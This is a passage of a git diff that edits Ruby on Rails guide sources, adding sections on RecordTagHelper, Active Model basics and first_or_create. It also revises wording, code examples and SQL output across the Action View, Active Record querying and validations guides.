assert_match(/<h1>Welcome to example.com, #{user.name}<\/h1>/, email.encoded) + assert_match(/Welcome to example.com, #{user.name}/, email.encoded) end end </ruby> In the test we send the email and store the returned object in the +email+ variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain what we expect. - -h3. Changelog - -* September 30, 2010: Fixed typos and reformatted Action Mailer configuration table for better understanding. "Jaime Iniesta":http://jaimeiniesta.com diff --git a/railties/guides/source/action_view_overview.textile b/railties/guides/source/action_view_overview.textile index 7703d6c720..40cde6ad84 100644 --- a/railties/guides/source/action_view_overview.textile +++ b/railties/guides/source/action_view_overview.textile @@ -454,6 +454,83 @@ input("post", "title") # => <input id="post_title" name="post[title]" size="30" type="text" value="Hello World" /> </ruby> +h4. RecordTagHelper + +This module provides methods for generating a container tag, such as a +<div>+, for your record. This is the recommended way of creating a container for render your Active Record object, as it adds an appropriate class and id attributes to that container. You can then refer to those containers easily by following the convention, instead of having to think about which class or id attribute you should use. + +h5. content_tag_for + +Renders a container tag that relates to your Active Record Object. + +For example, given +@post+ is the object of +Post+ class, you can do: + +<ruby> +<%= content_tag_for(:tr, @post) do %> + <td><%= @post.title %></td> +<% end %> +</ruby> + +This will generate this HTML output: + +<html> +<tr id="post_1234" class="post"> + <td>Hello World!</td> +</tr> +</html> + +You can also supply HTML attributes as an additional option hash. For example: + +<ruby> +<%= content_tag_for(:tr, @post, :class => "frontpage") do %> + <td><%= @post.title %></td> +<% end %> +</ruby> + +Will generate this HTML output: + +<html> +<tr id="post_1234" class="post frontpage"> + <td>Hello World!</td> +</tr> +</html> + +You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given +@posts+ is an array of two +Post+ objects: + +<ruby> +<%= content_tag_for(:tr, @posts) do |post| %> + <td><%= post.title %></td> +<% end %> +</ruby> + +Will generate this HTML output: + +<html> +<tr id="post_1234" class="post"> + <td>Hello World!</td> +</tr> +<tr id="post_1235" class="post"> + <td>Ruby on Rails Rocks!</td> +</tr> +</html> + +h5. div_for + +This is actually a convenient method which calls +content_tag_for+ internally with +:div+ as the tag name. You can pass either an Active Record object or a collection of objects. For example: + +<ruby> +<%= div_for(@post, :class => "frontpage") do %> + <td><%= @post.title %></td> +<% end %> +</ruby> + +Will generate this HTML output: + +<html> +<div id="post_1234" class="post frontpage"> + <td>Hello World!</td> +</div> +</html> + h4. AssetTagHelper This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds. @@ -478,7 +555,6 @@ javascript_include_tag :monkey # => <script type="text/javascript" src="/javascripts/tail.js"></script> </ruby> - h5. register_stylesheet_expansion Register one or more stylesheet files to be included when symbol is passed to +stylesheet_link_tag+. This method is typically intended to be called from plugin initialization to register stylesheet files that the plugin installed in +public/stylesheets+. @@ -822,7 +898,7 @@ h5. select_year Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the +:start_year+ and +:end_year+ keys in the +options+. <ruby> -# Generates a select field for five years on either side of +Date.today+ that defaults to the current year +# Generates a select field for five years on either side of Date.today that defaults to the current year select_year(Date.today) # Generates a select field from 1900 to 2009 that defaults to the current year @@ -870,7 +946,7 @@ h4. FormHelper Form helpers are designed to make working with models much easier compared to using just standard HTML elements by providing a set of methods for creating forms based on your models. This helper generates the HTML for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed back to the controller. -There are two types of form helpers: those that specifically work with model attributes and those that don't. This helper deals with those that work with model attributes; to see an example of form helpers that don‘t work with model attributes, check the ActionView::Helpers::FormTagHelper documentation. +There are two types of form helpers: those that specifically work with model attributes and those that don't. This helper deals with those that work with model attributes; to see an example of form helpers that don't work with model attributes, check the ActionView::Helpers::FormTagHelper documentation. The core method of this helper, form_for, gives you the ability to create a form for a model instance; for example, let's say that you have a model Person and want to create a new instance of it: @@ -914,7 +990,7 @@ check_box("post", "validated") h5. fields_for -Creates a scope around a specific model object like form_for, but doesn‘t create the form tags themselves. This makes fields_for suitable for specifying additional model objects in the same form: +Creates a scope around a specific model object like form_for, but doesn't create the form tags themselves. This makes fields_for suitable for specifying additional model objects in the same form: <ruby> <%= form_for @person, :url => { :action => "update" } do |person_form| %> @@ -1419,10 +1495,3 @@ end Then you could create special views like +app/views/posts/show.expert.html.erb+ that would only be displayed to expert users. You can read more about the Rails Internationalization (I18n) API "here":i18n.html. - -h3. Changelog - -* May 29, 2011: Removed references to remote_* helpers - Vijay Dev -* April 16, 2011: Added 'Using Action View with Rails', 'Templates' and 'Partials' sections. "Sebastian Martinez":http://wyeworks.com -* September 3, 2009: Continuing work by Trevor Turk, leveraging the Action Pack docs and "What's new in Edge Rails":http://ryandaigle.com/articles/2007/8/3/what-s-new-in-edge-rails-partials-get-layouts -* April 5, 2009: Starting work by Trevor Turk, leveraging Mike Gunderloy's docs diff --git a/railties/guides/source/active_model_basics.textile b/railties/guides/source/active_model_basics.textile new file mode 100644 index 0000000000..9c8ad24cee --- /dev/null +++ b/railties/guides/source/active_model_basics.textile @@ -0,0 +1,205 @@ +h2. Active Model Basics + +This guide should provide you with all you need to get started using model classes. Active Model allow for Action Pack helpers to interact with non-ActiveRecord models. Active Model also helps building custom ORMs for use outside of the Rails framework. + +endprologue. + +WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails. + +h3. Introduction + +Active Model is a library containing various modules used in developing frameworks that need to interact with the Rails Action Pack library. Active Model provides a known set of interfaces for usage in classes. Some of modules are explained below - + +h4. AttributeMethods + +AttributeMethods module can add custom prefixes and suffixes on methods of a class. It is used by defining the prefixes and suffixes, which methods on the object will use them. + +<ruby> +class Person + include ActiveModel::AttributeMethods + + attribute_method_prefix 'reset_' + attribute_method_suffix '_highest?' + define_attribute_methods ['age'] + + attr_accessor :age + +private + def reset_attribute(attribute) + send("#{attribute}=", 0) + end + + def attribute_highest?(attribute) + send(attribute) > 100 ? true : false + end + +end + +person = Person.new +person.age = 110 +person.age_highest? # true +person.reset_age # 0 +person.age_highest? # false + +</ruby> + +h4. Callbacks + +Callbacks gives Active Record style callbacks. This provides the ability to define the callbacks and those will run at appropriate time. After defining a callbacks you can wrap with before, after and around custom methods. + +<ruby> +class Person + extend ActiveModel::Callbacks + + define_model_callbacks :update + + before_update :reset_me + + def update + _run_update_callbacks do + # This will call when we are trying to call update on object. + end + end + + def reset_me + # This method will call when you are calling update on object as a before_update callback as defined. + end +end +</ruby> + +h4. Conversion + +If a class defines persisted? and id methods then you can include Conversion module in that class and you can able to call Rails conversion methods to objects of that class. + +<ruby> +class Person + include ActiveModel::Conversion + + def persisted? + false + end + + def id + nil + end +end + +person = Person.new +person.to_model == person #=> true +person.to_key #=> nil +person.to_param #=> nil +</ruby> + +h4. Dirty + +An object becomes dirty when an object is gone through one or more changes to its attributes and not yet saved. This gives the ability to check whether an object has been changed or not. It also has attribute based accessor methods. Lets consider a Person class with attributes first_name and last_name + +<ruby> +require 'rubygems' +require 'active_model' + +class Person + include ActiveModel::Dirty + define_attribute_methods [:first_name, :last_name] + + def first_name + @first_name + end + + def first_name=(value) + first_name_will_change! + @first_name = value + end + + def last_name + @last_name + end + + def last_name=(value) + last_name_will_change! + @last_name = value + end + + def save + @previously_changed = changes + end + +end +</ruby> + +h5. Querying object directly for its list of all changed attributes. + +<ruby> +person = Person.new +person.first_name = "First Name" + +person.first_name #=> "First Name" +person.first_name = "First Name Changed" + +person.changed? #=> true + +#returns an list of fields arry which all has been changed before saved. +person.changed #=> ["first_name"] + +#returns a hash of the fields that have changed with their original values. +person.changed_attributes #=> {"first_name" => "First Name Changed"} + +#returns a hash of changes, with the attribute names as the keys, and the values will be an array of the old and new value for that field. +person.changes #=> {"first_name" => ["First Name","First Name Changed"]} +</ruby> + +h5. Attribute based accessor methods + +Track whether the particular attribute has been changed or not. + +<ruby> +#attr_name_changed? +person.first_name #=> "First Name" + +#assign some other value to first_name attribute +person.first_name = "First Name 1" + +person.first_name_changed? #=> true +</ruby> + +Track what was the previous value of the attribute. + +<ruby> +#attr_name_was accessor +person.first_name_was #=> "First Name" +</ruby> + +Track both previous and current value of the changed attribute. Returns an array if changed else returns nil + +<ruby> +#attr_name_change +person.first_name_change #=> ["First Name", "First Name 1"] +person.last_name_change #=> nil +</ruby> + +h4. Validations + +Validations module adds the ability to class objects to validate them in Active Record style. + +<ruby> +class Person + include ActiveModel::Validations + + attr_accessor :name, :email, :token + + validates :name, :presence => true + validates_format_of :email, :with => /^([^\s]+)((?:[-a-z0-9]\.)[a-z]{2,})$/i + validates! :token, :presence => true + +end + +person = Person.new(:token => "2b1f325") +person.valid? #=> false +person.name = 'vishnu' +person.email = 'me' +person.valid? #=> false +person.email = 'me@vishnuatrai.com' +person.valid? #=> true +person.token = nil +person.valid? #=> raises ActiveModel::StrictValidationFailed +</ruby> diff --git a/railties/guides/source/active_record_basics.textile b/railties/guides/source/active_record_basics.textile index 3e46e7df9f..66ad7b0255 100644 --- a/railties/guides/source/active_record_basics.textile +++ b/railties/guides/source/active_record_basics.textile @@ -38,47 +38,48 @@ When writing applications using other programming languages or frameworks, it ma h4. Naming Conventions -By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the camelCase form, while the table name must contain the words separated by underscores. Examples: +By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the CamelCase form, while the table name must contain the words separated by underscores. Examples: -* Database Table - Plural with underscores separating words (e.g., book_clubs) -* Model Class - Singular with the first letter of each word capitalized (e.g., BookClub) +* Database Table - Plural with underscores separating words (e.g., +book_clubs+) +* Model Class - Singular with the first letter of each word capitalized (e.g., +BookClub+) |_.Model / Class |_.Table / Schema | -|Post |posts| -|LineItem |line_items| -|Deer |deer| -|Mouse |mice| -|Person |people| +|+Post+ |+posts+| +|+LineItem+ |+line_items+| +|+Deer+ |+deer+| +|+Mouse+ |+mice+| +|+Person+ |+people+| h4. Schema Conventions Active Record uses naming conventions for the columns in database tables, depending on the purpose of these columns. -* *Foreign keys* - These fields should be named following the pattern table_id (e.g., item_id, order_id). These are the fields that Active Record will look for when you create associations between your models. -* *Primary keys* - By default, Active Record will use an integer column named "id" as the table's primary key. When using "Rails Migrations":migrations.html to create your tables, this column will be automatically created. +* *Foreign keys* - These fields should be named following the pattern +singularized_table_name_id+ (e.g., +item_id+, +order_id+). These are the fields that Active Record will look for when you create associations between your models. +* *Primary keys* - By default, Active Record will use an integer column named +id+ as the table's primary key. When using "Rails Migrations":migrations.html to create your tables, this column will be automatically created. There are also some optional column names that will create additional features to Active Record instances: -* *created_at* - Automatically gets set to the current date and time when the record is first created. -* *created_on* - Automatically gets set to the current date when the record is first created. -* *updated_at* - Automatically gets set to the current date and time whenever the record is updated. -* *updated_on* - Automatically gets set to the current date whenever the record is updated. -* *lock_version* - Adds "optimistic locking":http://api.rubyonrails.org/classes/ActiveRecord/Locking.html to a model. -* *type* - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.org/classes/ActiveRecord/Base.html -* *(table_name)_count* - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post. +* +created_at+ - Automatically gets set to the current date and time when the record is first created. +* +created_on+ - Automatically gets set to the current date when the record is first created. +* +updated_at+ - Automatically gets set to the current date and time whenever the record is updated. +* +updated_on+ - Automatically gets set to the current date whenever the record is updated. +* +lock_version+ - Adds "optimistic locking":http://api.rubyonrails.org/classes/ActiveRecord/Locking.html to a model. +* +type+ - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.org/classes/ActiveRecord/Base.html +* +(table_name)_count+ - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post. -NOTE: While these column names are optional they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, "type" is a reserved keyword used to designate a table using Single Table Inheritance. If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling. +NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, +type+ is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling. h3. Creating Active Record Models -It's very easy to create Active Record models. All you have to do is to subclass the +ActiveRecord::Base+ class and you're good to go: +It is very easy to create Active Record models. All you have to do is to subclass the +ActiveRecord::Base+ class and you're good to go: <ruby> -class Product < ActiveRecord::Base; end +class Product < ActiveRecord::Base +end </ruby> -This will create a +Product+ model, mapped to a *products* table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. So, suppose that the *products* table was created using an SQL sentence like: +This will create a +Product+ model, mapped to a +products+ table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. Suppose that the +products+ table was created using an SQL sentence like: <sql> CREATE TABLE products ( @@ -126,21 +127,21 @@ class Product < ActiveRecord::Base end </ruby> -h3. Reading and Writing Data +h3. CRUD: Reading and Writing Data CRUD is an acronym for the four verbs we use to operate on data: *C*reate, *R*ead, *U*pdate and *D*elete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables. h4. Create -Active Record objects can be created from a hash, a block or have its attributes manually set after creation. The _new_ method will return a new object while _create_ will return the object and save it to the database. +Active Record objects can be created from a hash, a block or have their attributes manually set after creation. The +new+ method will return a new object while +create+ will return the object and save it to the database. -For example, given a model +User+ with attributes of +name+ and +occupation+, the _create_ method call will create and save a new record into the database: +For example, given a model +User+ with attributes of +name+ and +occupation+, the +create+ method call will create and save a new record into the database: <ruby> user = User.create(:name => "David", :occupation => "Code Artist") </ruby> -Using the _new_ method, an object can be created without being saved: +Using the +new+ method, an object can be created without being saved: <ruby> user = User.new @@ -148,9 +149,9 @@ Using the _new_ method, an object can be created without being saved: user.occupation = "Code Artist" </ruby> -A call to _user.save_ will commit the record to the database. +A call to +user.save+ will commit the record to the database. -Finally, passing a block to either create or new will return a new User object: +Finally, if a block is provided, both +create+ and +new+ will yield the new object to that block for initialization: <ruby> user = User.new do |u| @@ -164,7 +165,7 @@ h4. Read Active Record provides a rich API for accessing data within a database. Below are a few examples of different data access methods provided by Active Record. <ruby> - # return all records + # return array with all records users = User.all </ruby> @@ -204,7 +205,6 @@ Likewise, once retrieved an Active Record object can be destroyed which removes user.destroy </ruby> - h3. Validations Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that you can use to check your models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more. You can learn more about validations in the "Active Record Validations and Callbacks guide":active_record_validations_callbacks.html#validations-overview. diff --git a/railties/guides/source/active_record_querying.textile b/railties/guides/source/active_record_querying.textile index 8ea06d28aa..81d73c4ccc 100644 --- a/railties/guides/source/active_record_querying.textile +++ b/railties/guides/source/active_record_querying.textile @@ -13,7 +13,7 @@ endprologue. WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in other versions of Rails. -If you're used to using raw SQL to find database records then, generally, you will find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases. +If you're used to using raw SQL to find database records, then you will generally find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases. Code examples throughout this guide will refer to one or more of the following models: @@ -69,16 +69,16 @@ The methods are: All of the above methods return an instance of <tt>ActiveRecord::Relation</tt>. -Primary operation of <tt>Model.find(options)</tt> can be summarized as: +The primary operation of <tt>Model.find(options)</tt> can be summarized as: * Convert the supplied options to an equivalent SQL query. * Fire the SQL query and retrieve the corresponding results from the database. * Instantiate the equivalent Ruby object of the appropriate model for every resulting row. -* Run +after_find+ callbacks if any. +* Run +after_find+ callbacks, if any. h4. Retrieving a Single Object -Active Record lets you retrieve a single object using five different ways. +Active Record provides five different ways of retrieving a single object. h5. Using a Primary Key @@ -87,10 +87,10 @@ Using <tt>Model.find(primary_key)</tt>, you can retrieve the object correspondin <ruby> # Find the client with primary key (id) 10. client = Client.find(10) -=> #<Client id: 10, first_name: => "Ryan"> +# => #<Client id: 10, first_name: "Ryan"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients WHERE (clients.id = 10) @@ -100,14 +100,14 @@ SELECT * FROM clients WHERE (clients.id = 10) h5. +first+ -<tt>Model.first</tt> finds the first record matched by the supplied options. For example: +<tt>Model.first</tt> finds the first record matched by the supplied options, if any. For example: <ruby> client = Client.first -=> #<Client id: 1, first_name: "Lifo"> +# => #<Client id: 1, first_name: "Lifo"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients LIMIT 1 @@ -121,10 +121,10 @@ h5. +last+ <ruby> client = Client.last -=> #<Client id: 221, first_name: "Russel"> +# => #<Client id: 221, first_name: "Russel"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 @@ -132,16 +132,16 @@ SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 <tt>Model.last</tt> returns +nil+ if no matching record is found. No exception will be raised. -h5. +first!+ +h5(#first_1). +first!+ <tt>Model.first!</tt> finds the first record. For example: <ruby> client = Client.first! -=> #<Client id: 1, first_name: "Lifo"> +# => #<Client id: 1, first_name: "Lifo"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients LIMIT 1 @@ -149,16 +149,16 @@ SELECT * FROM clients LIMIT 1 <tt>Model.first!</tt> raises +RecordNotFound+ if no matching record is found. -h5. +last!+ +h5(#last_1). +last!+ <tt>Model.last!</tt> finds the last record. For example: <ruby> client = Client.last! -=> #<Client id: 221, first_name: "Russel"> +# => #<Client id: 221, first_name: "Russel"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 @@ -174,11 +174,11 @@ h5. Using Multiple Primary Keys <ruby> # Find the clients with primary keys 1 and 10. -client = Client.find(1, 10) # Or even Client.find([1, 10]) -=> [#<Client id: 1, first_name: => "Lifo">, #<Client id: 10, first_name: => "Ryan">] +client = Client.find([1, 10]) # Or even Client.find(1, 10) +# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">] </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients WHERE (clients.id IN (1,10)) @@ -190,7 +190,7 @@ h4. Retrieving Multiple Objects in Batches Sometimes you need to iterate over a large set of records. For example to send a newsletter to all users, to export some data, etc. -The following may seem very straight forward at first: +The following may seem very straightforward, at first: <ruby> # Very inefficient when users table has thousands of rows. @@ -199,9 +199,9 @@ User.all.each do |user| end </ruby> -But if the total number of rows in the table is very large, the above approach may vary from being under performant to just plain impossible. +But if the total number of rows in the table is very large, the above approach may vary from being underperforming to being plain impossible. -This is because +User.all.each+ makes Active Record fetch _the entire table_, build a model object per row, and keep the entire array in the memory. Sometimes that is just too many objects and demands too much memory. +This is because +User.all.each+ makes Active Record fetch _the entire table_, build a model object per row, and keep the entire array of model objects in memory. Sometimes that is just too many objects and requires too much memory. h5. +find_each+ @@ -215,9 +215,9 @@ end *Configuring the batch size* -Behind the scenes +find_each+ fetches rows in batches of +1000+ and yields them one by one. The size of the underlying batches is configurable via the +:batch_size+ option. +Behind the scenes, +find_each+ fetches rows in batches of 1000 and yields them one by one. The size of the underlying batches is configurable via the +:batch_size+ option. -To fetch +User+ records in batch size of +5000+: +To fetch +User+ records in batches of 5000, we can use: <ruby> User.find_each(:batch_size => 5000) do |user| @@ -227,9 +227,9 @@ end *Starting batch find from a specific primary key* -Records are fetched in ascending order on the primary key, which must be an integer. The +:start+ option allows you to configure the first ID of the sequence if the lowest is not the one you need. This may be useful for example to be able to resume an interrupted batch process if it saves the last processed ID as a checkpoint. +Records are fetched in ascending order of the primary key, which must be an integer. The +:start+ option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This may be useful, for example, to be able to resume an interrupted batch process, provided it saves the last processed ID as a checkpoint. -To send newsletters only to users with the primary key starting from +2000+: +To send newsletters only to users with the primary key starting from 2000, we can use: <ruby> User.find_each(:batch_size => 5000, :start => 2000) do |user| @@ -252,7 +252,9 @@ Invoice.find_in_batches(:include => :invoice_lines) do |invoices| end </ruby> -The above will yield the supplied block with +1000+ invoices every time. +The above will each time yield to the supplied block an array of 1000 invoices (or the remaining invoices, if less than 1000). + +NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models. h3. Conditions @@ -560,6 +562,7 @@ Client.where("orders_count > 10").order(:name).reverse_order </ruby> The SQL that would be executed: + <sql> SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC </sql> @@ -571,6 +574,7 @@ Client.where("orders_count > 10").reverse_order </ruby> The SQL that would be executed: + <sql> SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC </sql> @@ -614,15 +618,13 @@ c1.first_name = "Michael" c1.save c2.name = "should fail" -c2.save # Raises a ActiveRecord::StaleObjectError +c2.save # Raises an ActiveRecord::StaleObjectError </ruby> You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict. NOTE: You must ensure that your database schema defaults the +lock_version+ column to +0+. -<br /> - This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>. To override the name of the +lock_version+ column, +ActiveRecord::Base+ provides a class method called +set_locking_column+: @@ -911,14 +913,14 @@ end To call this +published+ scope we can call it on either the class: <ruby> -Post.published => [published posts] +Post.published # => [published posts] </ruby> Or on an association consisting of +Post+ objects: <ruby> category = Category.first -category.posts.published => [published posts belonging to this category] +category.posts.published # => [published posts belonging to this category] </ruby> h4. Working with times @@ -1018,23 +1020,86 @@ If you want to find both by name and locked, you can chain these finders togethe WARNING: Up to and including Rails 3.1, when the number of arguments passed to a dynamic finder method is lesser than the number of fields, say <tt>Client.find_by_name_and_locked("Ryan")</tt>, the behavior is to pass +nil+ as the missing argument. This is *unintentional* and this behavior will be changed in Rails 3.2 to throw an +ArgumentError+. -There's another set of dynamic finders that let you find or create/initialize objects if they aren't found. These work in a similar fashion to the other finders and can be used like +find_or_create_by_first_name(params[:first_name])+. Using this will first perform a find and then create if the find returns +nil+. The SQL looks like this for +Client.find_or_create_by_first_name("Ryan")+: +h3. Find or build a new object + +It's common that you need to find a record or create it if it doesn't exist. You can do that with the +first_or_create+ and +first_or_create!+ methods. + +h4. +first_or_create+ + +The +first_or_create+ method checks whether +first+ returns +nil+ or not. If it does return +nil+, then +create+ is called. This is very powerful when coupled with the +where+ method. Let's see an example. + +Suppose you want to find a client named 'Andy', and if there's none, create one and additionally set his +locked+ attribute to false. You can do so by running: + +<ruby> +Client.where(:first_name => 'Andy').first_or_create(:locked => false) +# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27"> +</ruby> + +The SQL generated by this method looks like this: <sql> -SELECT * FROM clients WHERE (clients.first_name = 'Ryan') LIMIT 1 +SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1 BEGIN -INSERT INTO clients (first_name, updated_at, created_at, orders_count, locked) - VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', 0, '0') +INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 0, NULL, '2011-08-30 05:22:57') COMMIT </sql> -+find_or_create+'s sibling, +find_or_initialize+, will find an object and if it does not exist will act similarly to calling +new+ with the arguments you passed in. For example: ++first_or_create+ returns either the record that already exists or the new record. In our case, we didn't already have a client named Andy so the record is created and returned. + +The new record might not be saved to the database; that depends on whether validations passed or not (just like +create+). + +It's also worth noting that +first_or_create+ takes into account the arguments of the +where+ method. In the example above we didn't explicitly pass a +:first_name => 'Andy'+ argument to +first_or_create+. However, that was used when creating the new record because it was already passed before to the +where+ method. + +You can do the same with the +find_or_create_by+ method: + +<ruby> +Client.find_or_create_by_first_name(:first_name => "Andy", :locked => false) +</ruby> + +This method still works, but it's encouraged to use +first_or_create+ because it's more explicit on which arguments are used to _find_ the record and which are used to _create_, resulting in less confusion overall. + +h4. +first_or_create!+ + +You can also use +first_or_create!+ to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add + +<ruby> +validates :orders_count, :presence => true +</ruby> + +to your +Client+ model. If you try to create a new +Client+ without passing an +orders_count+, the record will be invalid and an exception will be raised: <ruby> -client = Client.find_or_initialize_by_first_name('Ryan') +Client.where(:first_name => 'Andy').first_or_create!(:locked => false) +# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank </ruby> -will either assign an existing client object with the name "Ryan" to the client local variable, or initialize a new object similar to calling +Client.new(:first_name => 'Ryan')+. From here, you can modify other fields in client by calling the attribute setters on it: +client.locked = true+ and when you want to write it to the database just call +save+ on it. +h4. +first_or_initialize+ + +The +first_or_initialize+ method will work just like +first_or_create+ but it will not call +create+ but +new+. This means that a new model instance will be created in memory but won't be saved to the database. Continuing with the +first_or_create+ example, we now want the client named 'Nick': + +<ruby> +nick = Client.where(:first_name => 'Nick').first_or_initialize(:locked => false) +# => <Client id: nil, first_name: "Nick", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27"> + +nick.persisted? +# => false + +nick.new_record? +# => true +</ruby> + +Because the object is not yet stored in the database, the SQL generated looks like this: + +<sql> +SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1 +</sql> + +When you want to save it to the database, just call +save+: + +<ruby> +nick.save +# => true +</ruby> h3. Finding by SQL @@ -1185,12 +1250,3 @@ Client.sum("orders_count") </ruby> For options, please see the parent section, "Calculations":#calculations. - -h3. Changelog - -* June 26 2011: Added documentation for the +scoped+, +unscoped+ and +default+ methods. "Ryan Bigg":credits.html#radar -* December 23 2010: Add documentation for the +scope+ method. "Ryan Bigg":credits.html#radar -* April 7, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* February 3, 2010: Update to Rails 3 by "James Miller":credits.html#bensie -* February 7, 2009: Second version by "Pratik":credits.html#lifo -* December 29 2008: Initial version by "Ryan Bigg":credits.html#radar diff --git a/railties/guides/source/active_record_validations_callbacks.textile b/railties/guides/source/active_record_validations_callbacks.textile index 50ff1c9ff7..665e7f9ccc 100644 --- a/railties/guides/source/active_record_validations_callbacks.textile +++ b/railties/guides/source/active_record_validations_callbacks.textile @@ -28,7 +28,7 @@ h4. Why Use Validations? Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address. -There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations. +There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations: * Database constraints and/or stored procedures make the validation mechanisms database-dependent and can make testing and maintenance more difficult. However, if your database is used by other applications, it may be a good idea to use some constraints at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that can be difficult to implement otherwise. * Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using JavaScript, they may be bypassed if JavaScript is turned off in the user's browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site. @@ -46,7 +46,7 @@ end We can see how it works by looking at some +rails console+ output: -<shell> +<ruby> >> p = Person.new(:name => "John Doe") => #<Person id: nil, name: "John Doe", created_at: nil, :updated_at: nil> >> p.new_record? @@ -55,7 +55,7 @@ We can see how it works by looking at some +rails console+ output: => true >> p.new_record? => false -</shell> +</ruby> Creating and saving a new record will send an SQL +INSERT+ operation to the database. Updating an existing record will send an SQL +UPDATE+ operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the +INSERT+ or +UPDATE+ operation. This helps to avoid storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated. @@ -94,7 +94,7 @@ Note that +save+ also has the ability to skip validations if passed +:validate = h4. +valid?+ and +invalid?+ -To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were added to the object, and false otherwise. +To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were found in the object, and false otherwise. <ruby> class Person < ActiveRecord::Base @@ -105,7 +105,7 @@ Person.create(:name => "John Doe").valid? # => true Person.create(:name => nil).valid? # => false </ruby> -When Active Record is performing validations, any errors found can be accessed through the +errors+ instance method. By definition an object is valid if this collection is empty after running validations. +After Active Record has performed validations, any errors found can be accessed through the +errors+ instance method, which returns a collection of errors. By definition, an object is valid if this collection is empty after running validations. Note that an object instantiated with +new+ will not report errors even if it's technically invalid, because validations are not run when using +new+. @@ -139,7 +139,7 @@ end => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank </ruby> -+invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations and returns true if any errors were added to the object, and false otherwise. ++invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations, returning true if any errors were found in the object, and false otherwise. h4(#validations_overview-errors). +errors[]+ @@ -160,7 +160,7 @@ We'll cover validation errors in greater depth in the "Working with Validation E h3. Validation Helpers -Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These 